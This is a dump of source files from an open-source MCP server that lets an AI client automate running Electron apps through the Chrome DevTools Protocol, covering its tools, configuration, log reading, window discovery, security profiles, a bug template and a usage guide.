90 | logger.info('Electron MCP Server running on stdio');
91 | logger.info('Available tools:', tools.map((t) => t.name).join(', '));
92 | }
93 |
94 | main().catch((error) => {
95 | logger.error('Server error:', error);
96 | process.exit(1);
97 | });
98 |
```
--------------------------------------------------------------------------------
/src/tools.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { zodToJsonSchema } from 'zod-to-json-schema';
2 | import {
3 | SendCommandToElectronSchema,
4 | TakeScreenshotSchema,
5 | ReadElectronLogsSchema,
6 | GetElectronWindowInfoSchema,
7 | ToolInput,
8 | } from './schemas';
9 |
10 | // Tool name enumeration
11 | export enum ToolName {
12 | SEND_COMMAND_TO_ELECTRON = 'send_command_to_electron',
13 | TAKE_SCREENSHOT = 'take_screenshot',
14 | READ_ELECTRON_LOGS = 'read_electron_logs',
15 | GET_ELECTRON_WINDOW_INFO = 'get_electron_window_info',
16 | }
17 |
18 | // Define tools available to the MCP server
19 | export const tools = [
20 | {
21 | name: ToolName.GET_ELECTRON_WINDOW_INFO,
22 | description:
23 | 'Get information about running Electron applications and their windows. Automatically detects any Electron app with remote debugging enabled (port 9222).',
24 | inputSchema: zodToJsonSchema(GetElectronWindowInfoSchema) as ToolInput,
25 | },
26 | {
27 | name: ToolName.TAKE_SCREENSHOT,
28 | description:
29 | 'Take a screenshot of any running Electron application window. Returns base64 image data for AI analysis. No files created unless outputPath is specified.',
30 | inputSchema: zodToJsonSchema(TakeScreenshotSchema) as ToolInput,
31 | },
32 | {
33 | name: ToolName.SEND_COMMAND_TO_ELECTRON,
34 | description: `Send JavaScript commands to any running Electron application via Chrome DevTools Protocol.
35 |
36 | Enhanced UI interaction commands:
37 | - 'find_elements': Analyze all interactive elements (buttons, inputs, selects) with their properties
38 | - 'click_by_text': Click elements by their visible text, aria-label, or title
39 | - 'click_by_selector': Securely click elements by CSS selector
40 | - 'fill_input': Fill input fields by selector, placeholder text, or associated label
41 | - 'select_option': Select dropdown options by value or text
42 | - 'send_keyboard_shortcut': Send keyboard shortcuts like 'Ctrl+N', 'Meta+N', 'Enter', 'Escape'
43 | - 'navigate_to_hash': Safely navigate to hash routes (e.g., '#create', '#settings')
44 | - 'get_page_structure': Get organized overview of page elements (buttons, inputs, selects, links)
45 | - 'debug_elements': Get debugging info about buttons and form elements on the page
46 | - 'verify_form_state': Check current form state and validation status
47 | - 'get_title', 'get_url', 'get_body_text': Basic page information
48 | - 'eval': Execute custom JavaScript code with enhanced error reporting
49 |
50 | IMPORTANT: Arguments must be passed as an object with the correct properties:
51 |
52 | Examples:
53 | - click_by_selector: {"selector": "button.submit-btn"}
54 | - click_by_text: {"text": "Submit"}
55 | - fill_input: {"placeholder": "Enter name", "value": "John Doe"}
56 | - fill_input: {"selector": "#email", "value": "[email protected]"}
57 | - send_keyboard_shortcut: {"text": "Enter"}
58 | - eval: {"code": "document.title"}
59 |
60 | Use 'get_page_structure' or 'debug_elements' first to understand available elements, then use specific interaction commands.`,
61 | inputSchema: zodToJsonSchema(SendCommandToElectronSchema) as ToolInput,
62 | },
63 | {
64 | name: ToolName.READ_ELECTRON_LOGS,
65 | description:
66 | 'Read console logs and output from running Electron applications. Useful for debugging and monitoring app behavior.',
67 | inputSchema: zodToJsonSchema(ReadElectronLogsSchema) as ToolInput,
68 | },
69 | ];
70 |
```
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
```json
1 | {
2 | "name": "electron-mcp-server",
3 | "version": "1.5.0",
4 | "description": "MCP server for Electron application automation and management. See MCP_USAGE_GUIDE.md for proper argument structure examples.",
5 | "main": "dist/index.js",
6 | "bin": {
7 | "electron-mcp-server": "dist/index.js"
8 | },
9 | "scripts": {
10 | "build": "webpack --config webpack.config.ts --mode production",
11 | "build:dev": "webpack --config webpack.config.ts --mode development",
12 | "dev": "tsx src/index.ts",
13 | "dev:watch": "tsx --watch src/index.ts",
14 | "start": "node dist/index.js",
15 | "watch": "webpack --config webpack.config.ts --mode development --watch",
16 | "watch-and-serve": "webpack --config webpack.config.ts --mode development --watch & node --watch dist/index.js",
17 | "prepare": "npm run build",
18 | "test": "vitest run",
19 | "test:watch": "vitest",
20 | "test:ui": "vitest --ui",
21 | "test:react": "cd tests/integration/react-compatibility && electron test-react-electron.cjs",
22 | "test:coverage": "vitest run --coverage",
23 | "test:security": "npm run build && node test/security-test.js",
24 | "test:clean": "tsx -e \"import('./test/utils/cleanup.js').then(m => m.TestCleanup.cleanup())\"",
25 | "lint": "eslint src/**/*.ts",
26 | "lint:fix": "eslint src/**/*.ts --fix",
27 | "format": "prettier --write \"src/**/*.{ts,js,json,md}\"",
28 | "format:check": "prettier --check \"src/**/*.{ts,js,json,md}\"",
29 | "code:check": "npm run lint && npm run format:check",
30 | "code:fix": "npm run lint:fix && npm run format"
31 | },
32 | "keywords": [
33 | "mcp",
34 | "electron",
35 | "automation",
36 | "desktop",
37 | "model-context-protocol",
38 | "devtools",
39 | "testing",
40 | "ai",
41 | "chrome-devtools-protocol",
42 | "screenshot",
43 | "electron-automation"
44 | ],
45 | "author": "Halil Ural",
46 | "license": "MIT",
47 | "dependencies": {
48 | "@modelcontextprotocol/sdk": "^1.0.0",
49 | "@types/ws": "^8.18.1",
50 | "dotenv": "^17.2.1",
51 | "electron": "^28.0.0",
52 | "playwright": "^1.54.1",
53 | "ws": "^8.18.3",
54 | "zod": "^3.22.4",
55 | "zod-to-json-schema": "^3.22.4"
56 | },
57 | "devDependencies": {
58 | "@eslint/js": "^9.32.0",
59 | "@types/node": "^20.19.10",
60 | "@types/webpack": "^5.28.5",
61 | "@types/webpack-node-externals": "^3.0.4",
62 | "@typescript-eslint/eslint-plugin": "^8.38.0",
63 | "@typescript-eslint/parser": "^8.38.0",
64 | "@vitest/coverage-v8": "^3.2.4",
65 | "@vitest/ui": "^3.2.4",
66 | "eslint": "^9.32.0",
67 | "globals": "^16.3.0",
68 | "jest": "^29.0.0",
69 | "jiti": "^2.5.1",
70 | "prettier": "^3.6.2",
71 | "ts-jest": "^29.0.0",
72 | "ts-loader": "^9.5.2",
73 | "ts-node": "^10.9.2",
74 | "tsx": "^4.6.0",
75 | "typescript": "^5.8.3",
76 | "typescript-eslint": "^8.38.0",
77 | "vitest": "^3.2.4",
78 | "webpack": "^5.101.0",
79 | "webpack-cli": "^6.0.1",
80 | "webpack-node-externals": "^3.0.0"
81 | },
82 | "files": [
83 | "dist",
84 | "README.md",
85 | "LICENSE"
86 | ],
87 | "engines": {
88 | "node": ">=18.0.0"
89 | },
90 | "repository": {
91 | "type": "git",
92 | "url": "git+https://github.com/halilural/electron-mcp-server.git"
93 | },
94 | "bugs": {
95 | "url": "https://github.com/halilural/electron-mcp-server/issues"
96 | },
97 | "homepage": "https://github.com/halilural/electron-mcp-server#readme"
98 | }
99 |
```
--------------------------------------------------------------------------------
/mcp-config.json:
--------------------------------------------------------------------------------
```json
1 | {
2 | "name": "electron-mcp-server",
3 | "description": "Model Context Protocol server for Electron application management",
4 | "version": "1.0.0",
5 | "usage": {
6 | "claude_desktop": {
7 | "config_path": "~/Library/Application Support/Claude/claude_desktop_config.json",
8 | "config": {
9 | "mcpServers": {
10 | "electron": {
11 | "command": "npx",
12 | "args": ["-y", "electron-mcp-server"]
13 | }
14 | }
15 | }
16 | },
17 | "vscode": {
18 | "config": {
19 | "mcp": {
20 | "servers": {
21 | "electron": {
22 | "command": "npx",
23 | "args": ["-y", "electron-mcp-server"]
24 | }
25 | }
26 | }
27 | }
28 | }
29 | },
30 | "tools": [
31 | {
32 | "name": "launch_electron_app",
33 | "description": "Launch an Electron application from a specified path",
34 | "parameters": {
35 | "appPath": {
36 | "type": "string",
37 | "description": "Path to the Electron application",
38 | "required": true
39 | },
40 | "args": {
41 | "type": "array",
42 | "description": "Additional command line arguments",
43 | "required": false
44 | },
45 | "devMode": {
46 | "type": "boolean",
47 | "description": "Launch in development mode with debugging",
48 | "required": false
49 | }
50 | }
51 | },
52 | {
53 | "name": "close_electron_app",
54 | "description": "Close the currently running Electron application",
55 | "parameters": {
56 | "force": {
57 | "type": "boolean",
58 | "description": "Force close the application if unresponsive",
59 | "required": false
60 | }
61 | }
62 | },
63 | {
64 | "name": "get_electron_info",
65 | "description": "Get information about the Electron installation and environment",
66 | "parameters": {}
67 | },
68 | {
69 | "name": "create_electron_project",
70 | "description": "Create a new Electron project with a basic structure",
71 | "parameters": {
72 | "projectName": {
73 | "type": "string",
74 | "description": "Name of the new project",
75 | "required": true
76 | },
77 | "projectPath": {
78 | "type": "string",
79 | "description": "Directory where to create the project",
80 | "required": true
81 | },
82 | "template": {
83 | "type": "string",
84 | "description": "Project template (basic, react, vue, angular)",
85 | "required": false,
86 | "default": "basic"
87 | }
88 | }
89 | },
90 | {
91 | "name": "build_electron_app",
92 | "description": "Build an Electron application for distribution",
93 | "parameters": {
94 | "projectPath": {
95 | "type": "string",
96 | "description": "Path to the Electron project",
97 | "required": true
98 | },
99 | "platform": {
100 | "type": "string",
101 | "description": "Target platform (win32, darwin, linux)",
102 | "required": false
103 | },
104 | "arch": {
105 | "type": "string",
106 | "description": "Target architecture (x64, arm64, ia32)",
107 | "required": false
108 | },
109 | "debug": {
110 | "type": "boolean",
111 | "description": "Build in debug mode",
112 | "required": false
113 | }
114 | }
115 | },
116 | {
117 | "name": "get_electron_process_info",
118 | "description": "Get information about the currently running Electron process",
119 | "parameters": {}
120 | },
121 | {
122 | "name": "send_command_to_electron",
123 | "description": "Send commands to the running Electron application (requires IPC setup)",
124 | "parameters": {
125 | "command": {
126 | "type": "string",
127 | "description": "Command to send",
128 | "required": true
129 | },
130 | "args": {
131 | "type": "any",
132 | "description": "Command arguments",
133 | "required": false
134 | }
135 | }
136 | }
137 | ]
138 | }
139 |
```
--------------------------------------------------------------------------------
/src/utils/electron-logs.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { exec } from 'child_process';
2 | import { promisify } from 'util';
3 | import { findElectronTarget, connectForLogs } from './electron-connection';
4 | import { logger } from './logger';
5 |
6 | export type LogType = 'console' | 'main' | 'renderer' | 'all';
7 |
8 | export interface LogEntry {
9 | timestamp: string;
10 | level: string;
11 | message: string;
12 | source: 'console' | 'system';
13 | }
14 |
15 | /**
16 | * Read logs from running Electron applications
17 | */
18 | export async function readElectronLogs(
19 | logType: LogType = 'all',
20 | lines: number = 100,
21 | follow: boolean = false,
22 | ): Promise<string> {
23 | try {
24 | logger.info('[MCP] Looking for running Electron applications for log access...');
25 |
26 | try {
27 | const target = await findElectronTarget();
28 |
29 | // Connect via WebSocket to get console logs
30 | if (logType === 'console' || logType === 'all') {
31 | return await getConsoleLogsViaDevTools(target, lines, follow);
32 | }
33 | } catch {
34 | logger.info('[MCP] No DevTools connection found, checking system logs...');
35 | }
36 |
37 | // Fallback to system logs if DevTools not available
38 | return await getSystemElectronLogs(lines);
39 | } catch (error) {
40 | throw new Error(
41 | `Failed to read logs: ${error instanceof Error ? error.message : String(error)}`,
42 | );
43 | }
44 | }
45 |
46 | /**
47 | * Get console logs via Chrome DevTools Protocol
48 | */
49 | async function getConsoleLogsViaDevTools(
50 | target: any,
51 | lines: number,
52 | follow: boolean,
53 | ): Promise<string> {
54 | const logs: string[] = [];
55 |
56 | return new Promise((resolve, reject) => {
57 | (async () => {
58 | try {
59 | const ws = await connectForLogs(target, (log: string) => {
60 | logs.push(log);
61 | if (logs.length >= lines && !follow) {
62 | ws.close();
63 | resolve(logs.slice(-lines).join('\n'));
64 | }
65 | });
66 |
67 | // For non-follow mode, try to get console history first
68 | if (!follow) {
69 | // Request console API calls from Runtime
70 | ws.send(
71 | JSON.stringify({
72 | id: 99,
73 | method: 'Runtime.evaluate',
74 | params: {
75 | expression: `console.log("Reading console history for MCP test"); "History checked"`,
76 | includeCommandLineAPI: true,
77 | },
78 | }),
79 | );
80 |
81 | // Wait longer for logs to be captured and history to be available
82 | setTimeout(() => {
83 | ws.close();
84 | resolve(logs.length > 0 ? logs.slice(-lines).join('\n') : 'No console logs available');
85 | }, 7000); // Increased timeout to 7 seconds
86 | }
87 | } catch (error) {
88 | reject(error);
89 | }
90 | })();
91 | });
92 | }
93 |
94 | /**
95 | * Get system logs for Electron processes
96 | */
97 | async function getSystemElectronLogs(lines: number = 100): Promise<string> {
98 | logger.info('[MCP] Reading system logs for Electron processes...');
99 |
100 | try {
101 | const execAsync = promisify(exec);
102 |
103 | // Get running Electron processes
104 | const { stdout } = await execAsync('ps aux | grep -i electron | grep -v grep');
105 | const electronProcesses = stdout
106 | .trim()
107 | .split('\n')
108 | .filter((line) => line.length > 0);
109 |
110 | if (electronProcesses.length === 0) {
111 | return 'No Electron processes found running on the system.';
112 | }
113 |
114 | let logOutput = `Found ${electronProcesses.length} Electron process(es):\n\n`;
115 |
116 | electronProcesses.forEach((process, index) => {
117 | const parts = process.trim().split(/\s+/);
118 | const pid = parts[1];
119 | const command = parts.slice(10).join(' ');
120 | logOutput += `Process ${index + 1}:\n`;
121 | logOutput += ` PID: ${pid}\n`;
122 | logOutput += ` Command: ${command}\n\n`;
123 | });
124 |
125 | try {
126 | const { stdout: logContent } = await execAsync(
127 | `log show --last 1h --predicate 'process == "Electron"' --style compact | tail -${lines}`,
128 | );
129 | if (logContent.trim()) {
130 | logOutput += 'Recent Electron logs from system:\n';
131 | logOutput += '==========================================\n';
132 | logOutput += logContent;
133 | } else {
134 | logOutput +=
135 | 'No recent Electron logs found in system logs. Try enabling remote debugging with --remote-debugging-port=9222 for better log access.';
136 | }
137 | } catch {
138 | logOutput +=
139 | 'Could not access system logs. For detailed logging, start Electron app with --remote-debugging-port=9222';
140 | }
141 |
142 | return logOutput;
143 | } catch (error) {
144 | return `Error reading system logs: ${error instanceof Error ? error.message : String(error)}`;
145 | }
146 | }
147 |
```
--------------------------------------------------------------------------------
/src/security/config.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { SecurityConfig } from './manager';
2 | import { logger } from '../utils/logger';
3 |
4 | export enum SecurityLevel {
5 | STRICT = 'strict', // Maximum security - blocks most function calls
6 | BALANCED = 'balanced', // Default - allows safe UI interactions
7 | PERMISSIVE = 'permissive', // Minimal restrictions - allows more operations
8 | DEVELOPMENT = 'development', // Least restrictive - for development/testing
9 | }
10 |
11 | /**
12 | * Represents a security profile configuration for controlling access and interactions within the application.
13 | *
14 | * @property level - The security level applied to the profile.
15 | * @property allowUIInteractions - Indicates if UI interactions are permitted.
16 | * @property allowDOMQueries - Indicates if DOM queries are allowed.
17 | * @property allowPropertyAccess - Indicates if property access is permitted.
18 | * @property allowAssignments - Indicates if assignments to properties are allowed.
19 | * @property allowFunctionCalls - Whitelist of allowed function patterns for invocation.
20 | * @property riskThreshold - The risk threshold level ('low', 'medium', 'high', or 'critical') for the profile.
21 | */
22 | export interface SecurityProfile {
23 | level: SecurityLevel;
24 | allowUIInteractions: boolean;
25 | allowDOMQueries: boolean;
26 | allowPropertyAccess: boolean;
27 | allowAssignments: boolean;
28 | allowFunctionCalls: string[]; // Whitelist of allowed function patterns
29 | riskThreshold: 'low' | 'medium' | 'high' | 'critical';
30 | }
31 |
32 | export const SECURITY_PROFILES: Record<SecurityLevel, SecurityProfile> = {
33 | [SecurityLevel.STRICT]: {
34 | level: SecurityLevel.STRICT,
35 | allowUIInteractions: false,
36 | allowDOMQueries: false,
37 | allowPropertyAccess: true,
38 | allowAssignments: false,
39 | allowFunctionCalls: [],
40 | riskThreshold: 'low',
41 | },
42 |
43 | [SecurityLevel.BALANCED]: {
44 | level: SecurityLevel.BALANCED,
45 | allowUIInteractions: true,
46 | allowDOMQueries: true,
47 | allowPropertyAccess: true,
48 | allowAssignments: false,
49 | allowFunctionCalls: [
50 | 'querySelector',
51 | 'querySelectorAll',
52 | 'getElementById',
53 | 'getElementsByClassName',
54 | 'getElementsByTagName',
55 | 'getComputedStyle',
56 | 'getBoundingClientRect',
57 | 'focus',
58 | 'blur',
59 | 'scrollIntoView',
60 | 'dispatchEvent',
61 | ],
62 | riskThreshold: 'medium',
63 | },
64 |
65 | [SecurityLevel.PERMISSIVE]: {
66 | level: SecurityLevel.PERMISSIVE,
67 | allowUIInteractions: true,
68 | allowDOMQueries: true,
69 | allowPropertyAccess: true,
70 | allowAssignments: true,
71 | allowFunctionCalls: [
72 | 'querySelector',
73 | 'querySelectorAll',
74 | 'getElementById',
75 | 'getElementsByClassName',
76 | 'getElementsByTagName',
77 | 'getComputedStyle',
78 | 'getBoundingClientRect',
79 | 'focus',
80 | 'blur',
81 | 'scrollIntoView',
82 | 'dispatchEvent',
83 | 'click',
84 | 'submit',
85 | 'addEventListener',
86 | 'removeEventListener',
87 | ],
88 | riskThreshold: 'high',
89 | },
90 |
91 | [SecurityLevel.DEVELOPMENT]: {
92 | level: SecurityLevel.DEVELOPMENT,
93 | allowUIInteractions: true,
94 | allowDOMQueries: true,
95 | allowPropertyAccess: true,
96 | allowAssignments: true,
97 | allowFunctionCalls: ['*'], // Allow all function calls
98 | riskThreshold: 'critical',
99 | },
100 | };
101 |
102 | export function getSecurityConfig(
103 | level: SecurityLevel = SecurityLevel.BALANCED,
104 | ): Partial<SecurityConfig> {
105 | const profile = SECURITY_PROFILES[level];
106 |
107 | return {
108 | defaultRiskThreshold: profile.riskThreshold,
109 | enableInputValidation: true,
110 | enableAuditLog: true,
111 | enableSandbox: level !== SecurityLevel.DEVELOPMENT,
112 | enableScreenshotEncryption: level !== SecurityLevel.DEVELOPMENT,
113 | };
114 | }
115 |
116 | /**
117 | * Get the default security level from environment variable or fallback to BALANCED
118 | * Environment variable: SECURITY_LEVEL
119 | * Valid values: strict, balanced, permissive, development
120 | */
121 | export function getDefaultSecurityLevel(): SecurityLevel {
122 | const envSecurityLevel = process.env.SECURITY_LEVEL;
123 |
124 | if (envSecurityLevel) {
125 | const normalizedLevel = envSecurityLevel.toLowerCase();
126 |
127 | // Check if the provided value is a valid SecurityLevel
128 | if (Object.values(SecurityLevel).includes(normalizedLevel as SecurityLevel)) {
129 | logger.info(`Using security level from environment: ${normalizedLevel}`);
130 | return normalizedLevel as SecurityLevel;
131 | } else {
132 | logger.warn(`Invalid security level in environment variable: ${envSecurityLevel}. Valid values are: ${Object.values(SecurityLevel).join(', ')}. Falling back to BALANCED.`);
133 | }
134 | }
135 |
136 | logger.info('Using BALANCED security level (default)');
137 | return SecurityLevel.BALANCED;
138 | }
139 |
```
--------------------------------------------------------------------------------
/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------
```markdown
1 | # Bug Report Template
2 |
3 | When reporting bugs with the Electron MCP Server, please include the following technical details to help developers understand and reproduce the issue.
4 |
5 | ## Basic Information
6 |
7 | - **MCP Server Version**: `[email protected]`
8 | - **Node.js Version**: `node --version`
9 | - **Electron Version**: `electron --version`
10 | - **Operating System**: Windows/macOS/Linux
11 | - **Security Level**: STRICT/BALANCED/PERMISSIVE/DEVELOPMENT
12 |
13 | ## Bug Description
14 |
15 | ### Expected Behavior
16 | What should happen when the command is executed.
17 |
18 | ### Actual Behavior
19 | What actually happens, including any error messages.
20 |
21 | ## Reproduction Steps
22 |
23 | ### 1. MCP Command Structure
24 |
25 | **Tool Name**: `tool_name`
26 | **Method**: `tools/call`
27 | **Arguments Structure**:
28 | ```json
29 | {
30 | "jsonrpc": "2.0",
31 | "id": 1,
32 | "method": "tools/call",
33 | "params": {
34 | "name": "tool_name",
35 | "arguments": {
36 | "command": "command_name",
37 | "args": {
38 | "parameter": "value"
39 | }
40 | }
41 | }
42 | }
43 | ```
44 |
45 | ### 2. Full Command Example
46 |
47 | ```bash
48 | echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Button Text"}}}}' | node dist/index.js
49 | ```
50 |
51 | ### 3. Error Output
52 |
53 | ```
54 | [MCP] ERROR: Error message here
55 | {"result":{"content":[{"type":"text","text":"❌ Error: Detailed error message"}],"isError":true},"jsonrpc":"2.0","id":1}
56 | ```
57 |
58 | ### 4. Expected Output
59 |
60 | ```
61 | [MCP] INFO: Success message here
62 | {"result":{"content":[{"type":"text","text":"✅ Result: Success message"}],"isError":false},"jsonrpc":"2.0","id":1}
63 | ```
64 |
65 | ## Technical Context
66 |
67 | ### Target Application
68 | - **Application Type**: React/Vue/Angular/Vanilla JS
69 | - **Framework Version**: React 18, Vue 3, etc.
70 | - **Electron Remote Debugging**: Port 9222 enabled
71 | - **DevTools Available**: Yes/No
72 |
73 | ### Environment Setup
74 |
75 | ```bash
76 | # Commands to reproduce the environment
77 | npm install
78 | npm run build
79 | npm run start
80 | ```
81 |
82 | ### Application State
83 | - **Page URL**: `file:///path/to/app.html` or `http://localhost:3000`
84 | - **DOM Elements**: Provide `get_page_structure` output if relevant
85 | - **Console Errors**: Any JavaScript errors in the target application
86 |
87 | ## Additional Information
88 |
89 | ### Related Files
90 | - Source code files involved
91 | - Configuration files
92 | - Log files
93 |
94 | ### Debugging Attempts
95 | What you've already tried to fix the issue.
96 |
97 | ### Screenshots
98 | Include screenshots of the application state, if helpful.
99 |
100 | ---
101 |
102 | ## Example Bug Reports
103 |
104 | ### Example 1: Click Command Failure
105 |
106 | **Bug**: Click commands fail on React components with preventDefault
107 |
108 | **MCP Command**:
109 | ```bash
110 | echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Submit"}}}}' | node dist/index.js
111 | ```
112 |
113 | **Error Output**:
114 | ```
115 | [MCP] INFO: Tool call: send_command_to_electron
116 | {"result":{"content":[{"type":"text","text":"❌ Error: Click events were cancelled by the page"}],"isError":true},"jsonrpc":"2.0","id":1}
117 | ```
118 |
119 | **Expected Output**:
120 | ```
121 | {"result":{"content":[{"type":"text","text":"✅ Result: Successfully clicked element: Submit"}],"isError":false},"jsonrpc":"2.0","id":1}
122 | ```
123 |
124 | **Technical Details**:
125 | - **Target Element**: `<button onClick={e => e.preventDefault()}>Submit</button>`
126 | - **Issue Location**: `src/utils/electron-commands.ts:515`
127 | - **Root Cause**: preventDefault() treated as failure condition
128 |
129 | ### Example 2: Form Input Detection Failure
130 |
131 | **Bug**: fill_input returns "No suitable input found" for visible React inputs
132 |
133 | **MCP Command**:
134 | ```bash
135 | echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node dist/index.js
136 | ```
137 |
138 | **Error Output**:
139 | ```
140 | {"result":{"content":[{"type":"text","text":"❌ Error: No suitable input found for: \"username\". Available inputs: email, password, submit"}],"isError":true},"jsonrpc":"2.0","id":2}
141 | ```
142 |
143 | **Page Structure Output**:
144 | ```bash
145 | echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node dist/index.js
146 | ```
147 |
148 | ```json
149 | {
150 | "inputs": [
151 | {
152 | "type": "text",
153 | "placeholder": "Enter username",
154 | "label": "Username",
155 | "id": "username",
156 | "name": "username",
157 | "visible": true
158 | }
159 | ]
160 | }
161 | ```
162 |
163 | **Technical Details**:
164 | - **Target Element**: `<input id="username" name="username" placeholder="Enter username" />`
165 | - **Issue Location**: `src/utils/electron-input-commands.ts` scoring algorithm
166 | - **Root Cause**: Scoring algorithm fails to match React-rendered inputs
167 |
```
--------------------------------------------------------------------------------
/src/utils/electron-discovery.ts:
--------------------------------------------------------------------------------
```typescript
1 | import { exec } from 'child_process';
2 | import { promisify } from 'util';
3 | import { logger } from './logger';
4 |
5 | export interface ElectronAppInfo {
6 | port: number;
7 | targets: any[];
8 | }
9 |
10 | export interface WindowInfo {
11 | id: string;
12 | title: string;
13 | url: string;
14 | type: string;
15 | description: string;
16 | webSocketDebuggerUrl: string;
17 | }
18 |
19 | export interface ElectronWindowResult {
20 | platform: string;
21 | devToolsPort?: number;
22 | windows: WindowInfo[];
23 | totalTargets: number;
24 | electronTargets: number;
25 | processInfo?: any;
26 | message: string;
27 | automationReady: boolean;
28 | }
29 |
30 | /**
31 | * Scan for running Electron applications with DevTools enabled
32 | */
33 | export async function scanForElectronApps(): Promise<ElectronAppInfo[]> {
34 | logger.debug('Scanning for running Electron applications...');
35 |
36 | // Extended port range to include test apps and common custom ports
37 | const commonPorts = [
38 | 9222,
39 | 9223,
40 | 9224,
41 | 9225, // Default ports
42 | 9200,
43 | 9201,
44 | 9202,
45 | 9203,
46 | 9204,
47 | 9205, // Security test range
48 | 9300,
49 | 9301,
50 | 9302,
51 | 9303,
52 | 9304,
53 | 9305, // Integration test range
54 | 9400,
55 | 9401,
56 | 9402,
57 | 9403,
58 | 9404,
59 | 9405, // Additional range
60 | ];
61 | const foundApps: ElectronAppInfo[] = [];
62 |
63 | for (const port of commonPorts) {
64 | try {
65 | const response = await fetch(`http://localhost:${port}/json`, {
66 | signal: AbortSignal.timeout(1000),
67 | });
68 |
69 | if (response.ok) {
70 | const targets = await response.json();
71 | const pageTargets = targets.filter((target: any) => target.type === 'page');
72 |
73 | if (pageTargets.length > 0) {
74 | foundApps.push({
75 | port,
76 | targets: pageTargets,
77 | });
78 | logger.debug(`Found Electron app on port ${port} with ${pageTargets.length} windows`);
79 | }
80 | }
81 | } catch {
82 | // Continue to next port
83 | }
84 | }
85 |
86 | return foundApps;
87 | }
88 |
89 | /**
90 | * Get detailed process information for running Electron applications
91 | */
92 | export async function getElectronProcessInfo(): Promise<any> {
93 | const execAsync = promisify(exec);
94 |
95 | try {
96 | const { stdout } = await execAsync(
97 | "ps aux | grep -i electron | grep -v grep | grep -v 'Visual Studio Code'",
98 | );
99 |
100 | const electronProcesses = stdout
101 | .trim()
102 | .split('\n')
103 | .filter((line) => line.includes('electron'))
104 | .map((line) => {
105 | const parts = line.trim().split(/\s+/);
106 | return {
107 | pid: parts[1],
108 | cpu: parts[2],
109 | memory: parts[3],
110 | command: parts.slice(10).join(' '),
111 | };
112 | });
113 |
114 | return { electronProcesses };
115 | } catch (error) {
116 | logger.debug('Could not get process info:', error);
117 | return {};
118 | }
119 | }
120 |
121 | /**
122 | * Find the main target from a list of targets
123 | */
124 | export function findMainTarget(targets: any[]): any | null {
125 | return (
126 | targets.find((target: any) => target.type === 'page' && !target.title.includes('DevTools')) ||
127 | targets.find((target: any) => target.type === 'page')
128 | );
129 | }
130 |
131 | /**
132 | * Get window information from any running Electron app
133 | */
134 | export async function getElectronWindowInfo(
135 | includeChildren: boolean = false,
136 | ): Promise<ElectronWindowResult> {
137 | try {
138 | const foundApps = await scanForElectronApps();
139 |
140 | if (foundApps.length === 0) {
141 | return {
142 | platform: process.platform,
143 | windows: [],
144 | totalTargets: 0,
145 | electronTargets: 0,
146 | message: 'No Electron applications found with remote debugging enabled',
147 | automationReady: false,
148 | };
149 | }
150 |
151 | // Use the first found app
152 | const app = foundApps[0];
153 | const windows: WindowInfo[] = app.targets.map((target: any) => ({
154 | id: target.id,
155 | title: target.title,
156 | url: target.url,
157 | type: target.type,
158 | description: target.description || '',
159 | webSocketDebuggerUrl: target.webSocketDebuggerUrl,
160 | }));
161 |
162 | // Get additional process information
163 | const processInfo = await getElectronProcessInfo();
164 |
165 | return {
166 | platform: process.platform,
167 | devToolsPort: app.port,
168 | windows: includeChildren
169 | ? windows
170 | : windows.filter((w: WindowInfo) => !w.title.includes('DevTools')),
171 | totalTargets: windows.length,
172 | electronTargets: windows.length,
173 | processInfo,
174 | message: `Found running Electron application with ${windows.length} windows on port ${app.port}`,
175 | automationReady: true,
176 | };
177 | } catch (error) {
178 | logger.error('Failed to scan for applications:', error);
179 | return {
180 | platform: process.platform,
181 | windows: [],
182 | totalTargets: 0,
183 | electronTargets: 0,
184 | message: `Failed to scan for Electron applications: ${
185 | error instanceof Error ? error.message : String(error)
186 | }`,
187 | automationReady: false,
188 | };
189 | }
190 | }
191 |
```
--------------------------------------------------------------------------------
/MCP_USAGE_GUIDE.md:
--------------------------------------------------------------------------------
```markdown
1 | # MCP Usage Examples for Electron MCP Server
2 |
3 | This document provides comprehensive examples of how to properly use the Electron MCP Server tools.
4 |
5 | ## 🎯 Common Patterns
6 |
7 | ### Getting Started - Page Inspection
8 |
9 | Always start by understanding the page structure:
10 |
11 | ```json
12 | {
13 | "command": "get_page_structure"
14 | }
15 | ```
16 |
17 | This returns all interactive elements with their properties, helping you choose the right targeting method.
18 |
19 | ### Button Interactions
20 |
21 | #### Method 1: Click by Visible Text (Recommended)
22 |
23 | ```json
24 | {
25 | "command": "click_by_text",
26 | "args": {
27 | "text": "Create New Encyclopedia"
28 | }
29 | }
30 | ```
31 |
32 | #### Method 2: Click by CSS Selector
33 |
34 | ```json
35 | {
36 | "command": "click_by_selector",
37 | "args": {
38 | "selector": "button[class*='bg-blue-500']"
39 | }
40 | }
41 | ```
42 |
43 | ### Form Interactions
44 |
45 | #### Fill Input by Placeholder
46 |
47 | ```json
48 | {
49 | "command": "fill_input",
50 | "args": {
51 | "placeholder": "Enter encyclopedia name",
52 | "value": "AI and Machine Learning"
53 | }
54 | }
55 | ```
56 |
57 | #### Fill Input by CSS Selector
58 |
59 | ```json
60 | {
61 | "command": "fill_input",
62 | "args": {
63 | "selector": "#email",
64 | "value": "[email protected]"
65 | }
66 | }
67 | ```
68 |
69 | ### Keyboard Shortcuts
70 |
71 | ```json
72 | {
73 | "command": "send_keyboard_shortcut",
74 | "args": {
75 | "text": "Ctrl+N"
76 | }
77 | }
78 | ```
79 |
80 | ### Custom JavaScript
81 |
82 | ```json
83 | {
84 | "command": "eval",
85 | "args": {
86 | "code": "document.querySelectorAll('button').length"
87 | }
88 | }
89 | ```
90 |
91 | ## 🚨 Common Mistakes and Fixes
92 |
